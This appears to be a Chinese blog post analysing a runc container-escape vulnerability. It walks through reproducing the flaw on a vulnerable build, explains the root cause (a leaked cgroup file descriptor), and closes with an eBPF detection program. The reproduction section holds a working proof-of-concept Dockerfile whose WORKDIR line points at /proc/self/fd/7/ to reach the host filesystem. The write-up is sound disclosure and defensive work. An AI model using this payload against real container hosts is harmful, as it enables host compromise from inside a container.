本来这篇文章应该在初一凌晨发的,但是拖延癌晚期,所以到现在才发,得反思下了

背景

众所周知,容器逃逸并不是什么令人稀奇的问题了(不被逃逸的容器才是稀奇),2月初,runc 社区正式公布了一个船新的逃逸 CVE,参见 https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv,版本横跨 1.0 到 1.1.11

这个 CVE 的核心特性在于“可以通过镜像分发的方式,成本很低的进行逃逸”

我们先来复现一下这个问题

我自己的环境是这样

复现版本

看这篇博客的同学可以参考下面方式进行环境准备,

  1. 按照自己的发行版确保安装了,Docker, libseccomp, golang
  2. 按照下面方式进行环境安装
1
2
3
4
5
6
7
8
9
10
11
git clone https://github.com/opencontainers/runc

git checkout v1.1.0-rc.1

make

sudo rm -rf $(which runc)

sudo make install

sudo systemctl restart docker

然后我们可以准备这样一个 Dockerfile

1
2
3
4
FROM ubuntu

# Sets the current working directory for this image
WORKDIR /proc/self/fd/7/

执行 docker build . -t test

然后我们可以执行 docker run --rm -ti test bash,需要多次才能执行成功, 执行成功后我们进入容器 shell

容器内

然后我们通过 cd ../.. 退出到根目录,接着我们就能看到,我们宿主机完整的文件了。同时我们还能使用 chroot 能命令,切换到宿主机的根目录。

逃逸行为

那么这样一个问题是怎么导致的呢?

原理

聊这个 CVE 之前,需要聊一些背景知识。首先是 Linux 下 openat2 这个 syscall。openat2 是 openat 在 Linux 5.6 之后的一个对于原本 open/openat 的一个扩展。其核心在于可以让用户进行更细粒度的控制,包括安全控制。比如 O_CLOEXEC (在执行 exec 时,自动更关闭之前的文件描述符)等细粒度的 flag 控制。

然后我们需要来聊聊整个容器的启动过程

容器启动的过程概述可以抽象为这样,

docker-client -> dockerd -> containerd -> containerd-shim -> runc(容器外) -> runc(容器内) -> containter-entrypoint

在启动过程中,runc 会负责设置容器的 cgroup 信息

1
2
3
4
5
6
7
func (p *initProcess) start() (retErr error) {
// ...
if err := p.manager.Apply(p.pid()); err != nil {
return fmt.Errorf("unable to apply cgroup configuration: %w", err)
}
// ...
}

众所周知,cgroup 最常见的控制方法是直接写入 cgroup 文件,runc 也不例外,同时为了保证文件的安全性,runc 会尝试使用 openat2 来进行文件打开。但是如前面所说的一样,openat2 是个在 Linux 5.6 之后才引入的 syscall,那么咋整捏,runc 有一个特殊方法 prepareOpenat2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
func prepareOpenat2() error {
prepOnce.Do(func() {
fd, err := unix.Openat2(-1, cgroupfsDir, &unix.OpenHow{
Flags: unix.O_DIRECTORY | unix.O_PATH,
})
if err != nil {
prepErr = &os.PathError{Op: "openat2", Path: cgroupfsDir, Err: err}
if err != unix.ENOSYS { //nolint:errorlint // unix errors are bare
logrus.Warnf("falling back to securejoin: %s", prepErr)
} else {
logrus.Debug("openat2 not available, falling back to securejoin")
}
return
}
var st unix.Statfs_t
if err = unix.Fstatfs(fd, &st); err != nil {
prepErr = &os.PathError{Op: "statfs", Path: cgroupfsDir, Err: err}
logrus.Warnf("falling back to securejoin: %s", prepErr)
return
}

cgroupFd = fd

resolveFlags = unix.RESOLVE_BENEATH | unix.RESOLVE_NO_MAGICLINKS
if st.Type == unix.CGROUP2_SUPER_MAGIC {
// cgroupv2 has a single mountpoint and no "cpu,cpuacct" symlinks
resolveFlags |= unix.RESOLVE_NO_XDEV | unix.RESOLVE_NO_SYMLINKS
}
})

return prepErr
}

眼尖的同学已经看到了,在测试是否有 openat2 的时候,runc 会使用 unix.Openat2(-1, cgroupfsDir, &unix.OpenHow{Flags: unix.O_DIRECTORY | unix.O_PATH}) 这个调用来测试是否有 openat2,在这里,我们没有使用 O_CLOEXEC,同时我已经打开的文件并没有被关闭, 这就导致了一个问题,如果系统支持 openat2,这里就会存在一个文件描述符泄漏(简单的给一个结论这里泄漏的文件描述符指向 /sys/fs/cgroup

而利用方式也很简单,我们上面的样例 Dockerfile 中的 WORKDIR /proc/self/fd/7/ 就是利用这个泄漏的文件描述符,WORKDIR 在 OCI 中会转化成 CWD 的设置,在 runc 启动过程中,将直接通过 chdir 的方式进行设置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// before executing the command inside the namespace
func finalizeNamespace(config *initConfig) error {
// Ensure that all unwanted fds we may have accidentally
// inherited are marked close-on-exec so they stay out of the
// container
if err := utils.CloseExecFrom(config.PassedFilesCount + 3); err != nil {
return fmt.Errorf("error closing exec fds: %w", err)
}

// we only do chdir if it's specified
doChdir := config.Cwd != ""
if doChdir {
// First, attempt the chdir before setting up the user.
// This could allow us to access a directory that the user running runc can access
// but the container user cannot.
err := unix.Chdir(config.Cwd)
switch {
case err == nil:
doChdir = false
case os.IsPermission(err):
// If we hit an EPERM, we should attempt again after setting up user.
// This will allow us to successfully chdir if the container user has access
// to the directory, but the user running runc does not.
// This is useful in cases where the cwd is also a volume that's been chowned to the container user.
default:
return fmt.Errorf("chdir to cwd (%q) set in config.json failed: %w", config.Cwd, err)
}
}

那么换句话说,我们容器内启动的进程默认的 /proc/pid/cwd 就是我们设置的 /proc/self/fd/7 也就是我们宿主机的 /sys/fs/cgroup,这就导致了我们在容器内可以直接访问宿主机的文件

这整个流程只能说,,阴差阳错

探测

如果我们 runc 版本没有办法及时更新到修复后的版本,那么我们有没有办法探测到这个问题呢?可以

这个攻击的特征非常简单

  1. 使用 chdir 系统调用
  2. 目标路径是 /proc/self/fd/*

那么我们用 eBPF+Tracepoint 处理下就 OK

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include "vmlinux.h"
#include "bpf_tracing.h"
#include "bpf_helpers.h"

char __license[] SEC("license") = "Dual MIT/GPL";

struct event {
__u32 pid;
__u8 path[256];
};

const struct event *unusedevent __attribute__((unused));

struct {
__uint(type, BPF_MAP_TYPE_RINGBUF);
__uint(max_entries, 1 << 24);
} events SEC(".maps");

struct sys_enter_chdir_args {
unsigned short common_type;
unsigned char common_flags;
unsigned char common_preempt_count;
int common_pid;
int __syscall_nr;
const char *filename;
};

SEC("tracepoint/syscalls/sys_enter_chdir")
int trace_enter_chdir(struct sys_enter_chdir_args *ctx) {
if (!ctx){
return 0;
}
struct event *event;
event = bpf_ringbuf_reserve(&events, sizeof(struct event), 0);
if (!event) {
return 0;
}
event->pid = bpf_get_current_pid_tgid()>>32;
const char *path = (const char *)ctx->filename;
bpf_probe_read_str(event->path, sizeof(event->path), path);
bpf_ringbuf_submit(event, 0);
return 0;
}

将事件上报到用户态,然后用户态用正则处理下 path 就行。当然这里的特征还能更多样化一些

  1. unwind 一下拿到用户态调用栈,确定是 runc 的调用
  2. 确定下是否是容器进程等

由于我比较懒,所以在博客里就不写了,有兴趣的同学可以自己写写(XD

总结

也没啥好总结的,容器逃逸不是新闻,不逃逸才是(XD